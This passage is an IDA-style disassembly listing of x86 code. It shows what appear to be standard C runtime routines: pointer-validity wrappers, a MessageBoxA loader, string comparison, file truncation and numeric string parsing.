[edi] test eax, eax jz short loc_434BEE push eax push esi call sub_42A5D0 mov eax, [edi] add edi, 4 push eax call sub_4293A0 add esp, 0Ch lea esi, [esi+eax+1] jmp short loc_434BCD ; --------------------------------------------------------------------------- loc_434BEE: ; CODE XREF: sub_434A14+19Aj ; sub_434A14+1BDj test esi, esi jz short loc_434C00 mov eax, [ebp+arg_C] cmp esi, [eax] jnz short loc_434BFD and byte ptr [esi], 0 inc esi loc_434BFD: ; CODE XREF: sub_434A14+1E3j and byte ptr [esi], 0 loc_434C00: ; CODE XREF: sub_434A14+1DCj push dword_676924 call sub_4298F2 and dword_676924, 0 pop ecx xor eax, eax loc_434C15: ; CODE XREF: sub_434A14+13Aj pop edi pop esi pop ebx pop ebp retn sub_434A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434C1A proc near ; CODE XREF: sub_4312E3+5Ep ; sub_435F14+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_434C27 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_434C27: ; CODE XREF: sub_434C1A+7j push dword_676C9C push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_676EC4 call sub_435AE5 add esp, 1Ch test eax, eax jnz short loc_434C54 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_434C54: ; CODE XREF: sub_434C1A+31j add eax, 0FFFFFFFEh pop ebp retn sub_434C1A endp ; =============== S U B R O U T I N E ======================================= sub_434C59 proc near ; CODE XREF: sub_4312E3+1Ep ; sub_435D8D+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_6769F4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_434CBA mov ebx, dword_437074 loc_434C72: ; CODE XREF: sub_434C59+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; dword_437074 mov ebp, eax cmp ebp, edi jz short loc_434CC2 push ebp call sub_4297B8 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_434CC2 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; dword_437074 test eax, eax jz short loc_434CC2 push edi push [esp+18h+var_4] call sub_435D8D mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_434C72 loc_434CBA: ; CODE XREF: sub_434C59+11j xor eax, eax loc_434CBC: ; CODE XREF: sub_434C59+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434CC2: ; CODE XREF: sub_434C59+29j ; sub_434C59+38j ... or eax, 0FFFFFFFFh jmp short loc_434CBC sub_434C59 endp ; =============== S U B R O U T I N E ======================================= sub_434CC7 proc near ; CODE XREF: sub_4313FB+77p ; sub_431929+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_4371B0 ; IsBadReadPtr test eax, eax jz short loc_434CDF xor esi, esi loc_434CDF: ; CODE XREF: sub_434CC7+14j mov eax, esi pop esi retn sub_434CC7 endp ; =============== S U B R O U T I N E ======================================= sub_434CE3 proc near ; CODE XREF: sub_431929+73p ; sub_431929+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_43715C ; IsBadWritePtr test eax, eax jz short loc_434CFB xor esi, esi loc_434CFB: ; CODE XREF: sub_434CE3+14j mov eax, esi pop esi retn sub_434CE3 endp ; =============== S U B R O U T I N E ======================================= sub_434CFF proc near ; CODE XREF: sub_431929+15Bp ; sub_4320A0+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_4371AC ; IsBadCodePtr test eax, eax jz short loc_434D13 xor esi, esi loc_434D13: ; CODE XREF: sub_434CFF+10j mov eax, esi pop esi retn sub_434CFF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431BCC loc_434D17: ; CODE XREF: sub_431BCC:loc_431C28j push 0Ah call sub_4330A0 push 16h call sub_435021 pop ecx pop ecx push 3 call sub_430B45 ; END OF FUNCTION CHUNK FOR sub_431BCC ; =============== S U B R O U T I N E ======================================= sub_434D2E proc near ; CODE XREF: sub_432BD7+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_434D3F add esp, 0Ch retn sub_434D2E endp ; =============== S U B R O U T I N E ======================================= sub_434D3F proc near ; CODE XREF: sub_434D2E+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_676DC1[eax], cl jnz short loc_434D6C cmp [esp+arg_4], 0 jz short loc_434D65 movzx eax, word_4533C2[eax*2] and eax, [esp+arg_4] jmp short loc_434D67 ; --------------------------------------------------------------------------- loc_434D65: ; CODE XREF: sub_434D3F+16j xor eax, eax loc_434D67: ; CODE XREF: sub_434D3F+24j test eax, eax jnz short loc_434D6C retn ; --------------------------------------------------------------------------- loc_434D6C: ; CODE XREF: sub_434D3F+Fj ; sub_434D3F+2Aj push 1 pop eax retn sub_434D3F endp ; =============== S U B R O U T I N E ======================================= sub_434D70 proc near ; CODE XREF: sub_4330A0+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_676C58, ebx push esi push edi jnz short loc_434DBF push offset aUser32_dll ; "user32.dll" call dword_437034 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_434DF5 mov esi, dword_437030 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_437030 test eax, eax mov dword_676C58, eax jz short loc_434DF5 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_437030 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_676C5C, eax call esi ; dword_437030 mov dword_676C60, eax loc_434DBF: ; CODE XREF: sub_434D70+Bj mov eax, dword_676C5C test eax, eax jz short loc_434DDE call eax ; dword_676C5C mov ebx, eax test ebx, ebx jz short loc_434DDE mov eax, dword_676C60 test eax, eax jz short loc_434DDE push ebx call eax ; dword_676C60 mov ebx, eax loc_434DDE: ; CODE XREF: sub_434D70+56j ; sub_434D70+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_676C58 ; MessageBoxA loc_434DF1: ; CODE XREF: sub_434D70+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434DF5: ; CODE XREF: sub_434D70+1Cj ; sub_434D70+33j xor eax, eax jmp short loc_434DF1 sub_434D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434DF9 proc near ; CODE XREF: sub_4336B9+28Ap var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_429B60 push ebx push esi xor esi, esi push 1 push esi push [ebp+arg_0] call sub_42F91D or ebx, 0FFFFFFFFh add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jz loc_434F18 push 2 push esi push [ebp+arg_0] call sub_42F91D add esp, 0Ch cmp eax, ebx jz loc_434F18 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_434EBB mov ebx, 1000h lea eax, [ebp+var_1004] push ebx push esi push eax call sub_429760 push 8000h push [ebp+arg_0] call sub_435FD3 add esp, 14h mov [ebp+arg_4], eax loc_434E6C: ; CODE XREF: sub_434DF9+99j cmp edi, ebx mov eax, ebx jge short loc_434E74 mov eax, edi loc_434E74: ; CODE XREF: sub_434DF9+77j push eax lea eax, [ebp+var_1004] push eax push [ebp+arg_0] call sub_432501 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_434E94 sub edi, eax test edi, edi jle short loc_434EAC jmp short loc_434E6C ; --------------------------------------------------------------------------- loc_434E94: ; CODE XREF: sub_434DF9+91j call sub_42F122 cmp dword ptr [eax], 5 jnz short loc_434EA9 call sub_42F119 mov dword ptr [eax], 0Dh loc_434EA9: ; CODE XREF: sub_434DF9+A3j or esi, 0FFFFFFFFh loc_434EAC: ; CODE XREF: sub_434DF9+97j push [ebp+arg_4] push [ebp+arg_0] call sub_435FD3 pop ecx pop ecx jmp short loc_434F03 ; --------------------------------------------------------------------------- loc_434EBB: ; CODE XREF: sub_434DF9+4Bj jge short loc_434F03 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_42F91D push [ebp+arg_0] call sub_4323D9 add esp, 10h push eax call dword_4371A8 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, ebx jnz short loc_434F03 call sub_42F119 mov dword ptr [eax], 0Dh call dword_437170 ; RtlGetLastWin32Error mov edi, eax call sub_42F122 mov [eax], edi loc_434F03: ; CODE XREF: sub_434DF9+C0j ; sub_434DF9:loc_434EBBj ... push 0 push [ebp+var_4] push [ebp+arg_0] call sub_42F91D add esp, 0Ch mov eax, esi pop edi jmp short loc_434F1A ; --------------------------------------------------------------------------- loc_434F18: ; CODE XREF: sub_434DF9+27j ; sub_434DF9+3Dj mov eax, ebx loc_434F1A: ; CODE XREF: sub_434DF9+11Dj pop esi pop ebx leave retn sub_434DF9 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz loc_43501A mov esi, [ebp+8] mov edi, [ebp+0Ch] lea eax, dword_6769A0 cmp dword ptr [eax+8], 0 jnz short loc_434F91 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_434F4C: ; CODE XREF: .text:00434F73j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_434F75 or al, al jz short loc_434F75 inc esi inc edi cmp ah, bh jb short loc_434F64 cmp ah, bl ja short loc_434F64 add ah, dh loc_434F64: ; CODE XREF: .text:00434F5Cj ; .text:00434F60j cmp al, bh jb short loc_434F6E cmp al, bl ja short loc_434F6E add al, dh loc_434F6E: ; CODE XREF: .text:00434F66j ; .text:00434F6Aj cmp ah, al jnz short loc_434F7F dec ecx jnz short loc_434F4C loc_434F75: ; CODE XREF: .text:00434F52j ; .text:00434F56j xor ecx, ecx cmp ah, al jz loc_43501A loc_434F7F: ; CODE XREF: .text:00434F70j mov ecx, 0FFFFFFFFh jb loc_43501A neg ecx jmp loc_43501A ; --------------------------------------------------------------------------- loc_434F91: ; CODE XREF: .text:00434F41j lock inc dword_676EDC cmp dword_676ED8, 0 jg short loc_434FA5 push 0 jmp short loc_434FBE ; --------------------------------------------------------------------------- loc_434FA5: ; CODE XREF: .text:00434F9Fj lock dec dword_676EDC mov ebx, ecx push 13h call sub_42DAEF mov dword ptr [esp], 1 mov ecx, ebx loc_434FBE: ; CODE XREF: .text:00434FA3j xor eax, eax xor ebx, ebx mov edi, edi loc_434FC4: ; CODE XREF: .text:00434FEDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_434FEF or ebx, ebx jz short loc_434FEF inc esi inc edi push ecx push eax push ebx call sub_43059D mov ebx, eax add esp, 4 call sub_43059D add esp, 4 pop ecx cmp eax, ebx jnz short loc_434FF5 dec ecx jnz short loc_434FC4 loc_434FEF: ; CODE XREF: .text:00434FCAj ; .text:00434FCEj xor ecx, ecx cmp eax, ebx jz short loc_434FFE loc_434FF5: ; CODE XREF: .text:00434FEAj mov ecx, 0FFFFFFFFh jb short loc_434FFE neg ecx loc_434FFE: ; CODE XREF: .text:00434FF3j ; .text:00434FFAj pop eax or eax, eax jnz short loc_43500C lock dec dword_676EDC jmp short loc_43501A ; --------------------------------------------------------------------------- loc_43500C: ; CODE XREF: .text:00435001j mov ebx, ecx push 13h call sub_42DB50 add esp, 4 mov ecx, ebx loc_43501A: ; CODE XREF: .text:00434F2Bj ; .text:00434F79j ... mov eax, ecx pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435021 proc near ; CODE XREF: sub_431BCC+3154p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] and [ebp+var_4], 0 dec eax push ebx push esi dec eax push edi jz short loc_43509C dec eax dec eax jz short loc_43507F sub eax, 4 jz short loc_43507F sub eax, 3 jz short loc_43507F sub eax, 4 jz short loc_435072 loc_435048: ; DATA XREF: .text:0043DA68o sub eax, 6 jz short loc_435065 dec eax jz short loc_435058 or eax, 0FFFFFFFFh jmp loc_43519E ; --------------------------------------------------------------------------- loc_435058: ; CODE XREF: sub_435021+2Dj mov ebx, dword_676C80 mov edi, offset dword_676C80 jmp short loc_4350A7 ; --------------------------------------------------------------------------- loc_435065: ; CODE XREF: sub_435021+2Aj mov ebx, dword_676C7C mov edi, offset dword_676C7C jmp short loc_4350A7 ; --------------------------------------------------------------------------- loc_435072: ; CODE XREF: sub_435021+25j mov ebx, dword_676C84 mov edi, offset dword_676C84 jmp short loc_4350A7 ; --------------------------------------------------------------------------- loc_43507F: ; CODE XREF: sub_435021+16j ; sub_435021+1Bj ... call sub_42E4EE mov esi, eax push dword ptr [esi+50h] push [ebp+arg_0] call sub_4351A3 mov edi, eax pop ecx add edi, 8 pop ecx mov ebx, [edi] jmp short loc_4350B9 ; --------------------------------------------------------------------------- loc_43509C: ; CODE XREF: sub_435021+12j mov ebx, dword_676C78 mov edi, offset dword_676C78 loc_4350A7: ; CODE XREF: sub_435021+42j ; sub_435021+4Fj ... push 1 mov [ebp+var_4], 1 call sub_42DAEF mov esi, [ebp+arg_0] pop ecx loc_4350B9: ; CODE XREF: sub_435021+79j cmp ebx, 1 jnz short loc_4350D4 cmp [ebp+var_4], 0 jz loc_43519C push ebx call sub_42DB50 pop ecx jmp loc_43519C ; --------------------------------------------------------------------------- loc_4350D4: ; CODE XREF: sub_435021+9Bj xor ecx, ecx cmp ebx, ecx jnz short loc_4350EE cmp [ebp+var_4], ecx jz short loc_4350E7 push 1 call sub_42DB50 pop ecx loc_4350E7: ; CODE XREF: sub_435021+BCj push 3 call sub_430B45 loc_4350EE: ; CODE XREF: sub_435021+B7j mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_435100 cmp eax, 0Bh jz short loc_435100 cmp eax, 4 jnz short loc_43511B loc_435100: ; CODE XREF: sub_435021+D3j ; sub_435021+D8j mov edx, [esi+54h] cmp eax, 8 mov [ebp+var_8], edx mov [esi+54h], ecx jnz short loc_435157 mov edx, [esi+58h] mov dword ptr [esi+58h], 8Ch mov [ebp+var_C], edx loc_43511B: ; CODE XREF: sub_435021+DDj cmp eax, 8 jnz short loc_435157 mov ecx, dword_4538B0 mov eax, dword_4538B4 add eax, ecx cmp ecx, eax jge short loc_435159 lea eax, [ecx+ecx*2] shl eax, 2 loc_435137: ; CODE XREF: sub_435021+132j mov edx, [esi+50h] add eax, 0Ch and dword ptr [edx+eax-4], 0 mov edx, dword_4538B0 mov edi, dword_4538B4 inc ecx add edi, edx cmp ecx, edi jl short loc_435137 jmp short loc_435159 ; --------------------------------------------------------------------------- loc_435157: ; CODE XREF: sub_435021+EBj ; sub_435021+FDj mov [edi], ecx loc_435159: ; CODE XREF: sub_435021+10Ej ; sub_435021+134j cmp [ebp+var_4], 0 jz short loc_435167 push 1 call sub_42DB50 pop ecx loc_435167: ; CODE XREF: sub_435021+13Cj cmp [ebp+arg_0], 8 jnz short loc_435178 push dword ptr [esi+58h] push 8 call ebx pop ecx pop ecx jmp short loc_43518A ; --------------------------------------------------------------------------- loc_435178: ; CODE XREF: sub_435021+14Aj push [ebp+arg_0] call ebx cmp [ebp+arg_0], 0Bh pop ecx jz short loc_43518A cmp [ebp+arg_0], 4 jnz short loc_43519C loc_43518A: ; CODE XREF: sub_435021+155j ; sub_435021+161j mov eax, [ebp+var_8] cmp [ebp+arg_0], 8 mov [esi+54h], eax jnz short loc_43519C mov eax, [ebp+var_C] mov [esi+58h], eax loc_43519C: ; CODE XREF: sub_435021+A1j ; sub_435021+AEj ... xor eax, eax loc_43519E: ; CODE XREF: sub_435021+32j pop edi pop esi pop ebx leave retn sub_435021 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4351A3 proc near ; CODE XREF: sub_435021+6Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov ecx, dword_4538BC push esi mov esi, [esp+4+arg_0] cmp [edx+4], esi push edi mov eax, edx jz short loc_4351CC lea edi, [ecx+ecx*2] lea edi, [edx+edi*4] loc_4351C0: ; CODE XREF: sub_4351A3+27j add eax, 0Ch cmp eax, edi jnb short loc_4351CC cmp [eax+4], esi jnz short loc_4351C0 loc_4351CC: ; CODE XREF: sub_4351A3+15j ; sub_4351A3+22j lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx jnb short loc_4351DB cmp [eax+4], esi jz short loc_4351DD loc_4351DB: ; CODE XREF: sub_4351A3+31j xor eax, eax loc_4351DD: ; CODE XREF: sub_4351A3+36j pop edi pop esi retn sub_4351A3 endp ; =============== S U B R O U T I N E ======================================= sub_4351E0 proc near ; CODE XREF: sub_434179+2Bp ; sub_434179+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_4351F6 cmp ecx, esi jnb short loc_4351F9 loc_4351F6: ; CODE XREF: sub_4351E0+10j push 1 pop eax loc_4351F9: ; CODE XREF: sub_4351E0+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_4351E0 endp ; =============== S U B R O U T I N E ======================================= sub_435201 proc near ; CODE XREF: sub_4352BA+40p ; sub_4352BA+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_4351E0 add esp, 0Ch test eax, eax jz short loc_435233 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_4351E0 add esp, 0Ch test eax, eax jz short loc_435233 inc dword ptr [esi+8] loc_435233: ; CODE XREF: sub_435201+19j ; sub_435201+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_4351E0 add esp, 0Ch test eax, eax jz short loc_43524B inc dword ptr [esi+8] loc_43524B: ; CODE XREF: sub_435201+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_4351E0 add esp, 0Ch pop edi pop esi retn sub_435201 endp ; =============== S U B R O U T I N E ======================================= sub_43525F proc near ; CODE XREF: sub_4352BA+30p ; sub_4352BA+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_43525F endp ; =============== S U B R O U T I N E ======================================= sub_43528D proc near ; CODE XREF: sub_435852+1C8p ; sub_436034+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_43528D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4352BA proc near ; CODE XREF: sub_435381+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_43532E push edi mov [ebp+arg_8], eax loc_4352E1: ; CODE XREF: sub_4352BA+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_43525F push ebx call sub_43525F lea eax, [ebp+var_10] push eax push ebx call sub_435201 push ebx call sub_43525F mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_435201 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_4352E1 xor edx, edx pop edi loc_43532E: ; CODE XREF: sub_4352BA+21j ; sub_4352BA+9Fj cmp [ebx+8], edx jnz short loc_43535B mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_43532E ; --------------------------------------------------------------------------- loc_43535B: ; CODE XREF: sub_4352BA+77j mov esi, 8000h loc_435360: ; CODE XREF: sub_4352BA+B9j test [ebx+8], esi jnz short loc_435375 push ebx call sub_43525F add [ebp+var_4], 0FFFFh pop ecx jmp short loc_435360 ; --------------------------------------------------------------------------- loc_435375: ; CODE XREF: sub_4352BA+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4352BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435381 proc near ; CODE XREF: sub_4344C2+17p ; sub_4344EF+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4353BC: ; CODE XREF: sub_435381+52j mov cl, [edi] cmp cl, 20h jz short loc_4353D2 cmp cl, 9 jz short loc_4353D2 cmp cl, 0Ah jz short loc_4353D2 cmp cl, 0Dh jnz short loc_4353D5 loc_4353D2: ; CODE XREF: sub_435381+40j ; sub_435381+45j ... inc edi jmp short loc_4353BC ; --------------------------------------------------------------------------- loc_4353D5: ; CODE XREF: sub_435381+4Fj push 4 pop esi loc_4353D8: ; CODE XREF: sub_435381+AEj ; sub_435381+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_43565B ; default ; jumptable 004353E4 case 10 jmp off_435822[eax*4] ; switch jump loc_4353EB: ; DATA XREF: .text:off_435822o cmp bl, 31h ; jumptable 004353E4 case 0 jl short loc_4353FC cmp bl, 39h jg short loc_4353FC loc_4353F5: ; CODE XREF: sub_435381+C4j ; sub_435381+118j push 3 jmp loc_435619 ; --------------------------------------------------------------------------- loc_4353FC: ; CODE XREF: sub_435381+6Dj ; sub_435381+72j cmp bl, byte_4535C8 jnz short loc_43540B loc_435404: ; CODE XREF: sub_435381+124j push 5 jmp loc_435651 ; --------------------------------------------------------------------------- loc_43540B: ; CODE XREF: sub_435381+81j movsx eax, bl sub eax, 2Bh jz short loc_435431 dec eax dec eax jz short loc_435425 sub eax, 3 jnz loc_4356F4 jmp loc_4354B4 ; --------------------------------------------------------------------------- loc_435425: ; CODE XREF: sub_435381+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4353D8 ; --------------------------------------------------------------------------- loc_435431: ; CODE XREF: sub_435381+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4353D8 ; --------------------------------------------------------------------------- loc_43543A: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp bl, 31h ; jumptable 004353E4 case 1 mov [ebp+var_10], edx jl short loc_435447 cmp bl, 39h jle short loc_4353F5 loc_435447: ; CODE XREF: sub_435381+BFj cmp bl, byte_4535C8 jz loc_43550F cmp bl, 2Bh jz short loc_435489 cmp bl, 2Dh jz short loc_435489 cmp bl, 30h jz short loc_4354B4 loc_435462: ; CODE XREF: sub_435381+207j cmp bl, 43h jle loc_4356F4 cmp bl, 45h jle short loc_435482 cmp bl, 63h jle loc_4356F4 cmp bl, 65h jg loc_4356F4 loc_435482: ; CODE XREF: sub_435381+EDj push 6 jmp loc_435651 ; --------------------------------------------------------------------------- loc_435489: ; CODE XREF: sub_435381+D5j ; sub_435381+DAj ... dec edi push 0Bh jmp loc_435651 ; --------------------------------------------------------------------------- loc_435491: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp bl, 31h ; jumptable 004353E4 case 2 jl short loc_43549F cmp bl, 39h jle loc_4353F5 loc_43549F: ; CODE XREF: sub_435381+113j cmp bl, byte_4535C8 jz loc_435404 cmp bl, 30h jnz loc_435669 loc_4354B4: ; CODE XREF: sub_435381+9Fj ; sub_435381+DFj mov eax, edx jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_4354BB: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o mov [ebp+var_10], edx ; jumptable 004353E4 case 3 loc_4354BE: ; CODE XREF: sub_435381+184j cmp dword_4535C4, edx jle short loc_4354D7 movzx eax, bl push esi push eax call sub_42F12B pop ecx pop ecx push 1 pop edx jmp short loc_4354E5 ; --------------------------------------------------------------------------- loc_4354D7: ; CODE XREF: sub_435381+143j mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4354E5: ; CODE XREF: sub_435381+154j test eax, eax jz short loc_435507 cmp [ebp+var_4], 19h jnb short loc_4354FF mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_435502 ; --------------------------------------------------------------------------- loc_4354FF: ; CODE XREF: sub_435381+16Cj inc [ebp+var_8] loc_435502: ; CODE XREF: sub_435381+17Cj mov bl, [edi] inc edi jmp short loc_4354BE ; --------------------------------------------------------------------------- loc_435507: ; CODE XREF: sub_435381+166j cmp bl, byte_4535C8 jnz short loc_435576 loc_43550F: ; CODE XREF: sub_435381+CCj mov eax, esi jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_435516: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp [ebp+var_4], 0 ; jumptable 004353E4 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_43552F loc_435522: ; CODE XREF: sub_435381+1ACj cmp bl, 30h jnz short loc_43552F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_435522 ; --------------------------------------------------------------------------- loc_43552F: ; CODE XREF: sub_435381+19Fj ; sub_435381+1A4j ... cmp dword_4535C4, edx jle short loc_435548 movzx eax, bl push esi push eax call sub_42F12B pop ecx pop ecx push 1 pop edx jmp short loc_435556 ; --------------------------------------------------------------------------- loc_435548: ; CODE XREF: sub_435381+1B4j mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_435556: ; CODE XREF: sub_435381+1C5j test eax, eax jz short loc_435576 cmp [ebp+var_4], 19h jnb short loc_435571 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_435571: ; CODE XREF: sub_435381+1DDj mov bl, [edi] inc edi jmp short loc_43552F ; --------------------------------------------------------------------------- loc_435576: ; CODE XREF: sub_435381+18Cj ; sub_435381+1D7j cmp bl, 2Bh jz loc_435489 cmp bl, 2Dh jz loc_435489 jmp loc_435462 ; --------------------------------------------------------------------------- loc_43558D: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp dword_4535C4, edx ; jumptable 004353E4 case 5 mov [ebp+var_24], edx jle short loc_4355A9 movzx eax, bl push esi push eax call sub_42F12B pop ecx pop ecx push 1 pop edx jmp short loc_4355B7 ; --------------------------------------------------------------------------- loc_4355A9: ; CODE XREF: sub_435381+215j mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4355B7: ; CODE XREF: sub_435381+226j test eax, eax jz loc_435669 mov eax, esi jmp short loc_43561A ; --------------------------------------------------------------------------- loc_4355C3: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o lea ecx, [edi-2] ; jumptable 004353E4 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4355D3 cmp bl, 39h jle short loc_435617 loc_4355D3: ; CODE XREF: sub_435381+24Bj movsx eax, bl sub eax, 2Bh jz short loc_43564F dec eax dec eax jz short loc_435643 sub eax, 3 jnz loc_4356F7 loc_4355E8: ; CODE 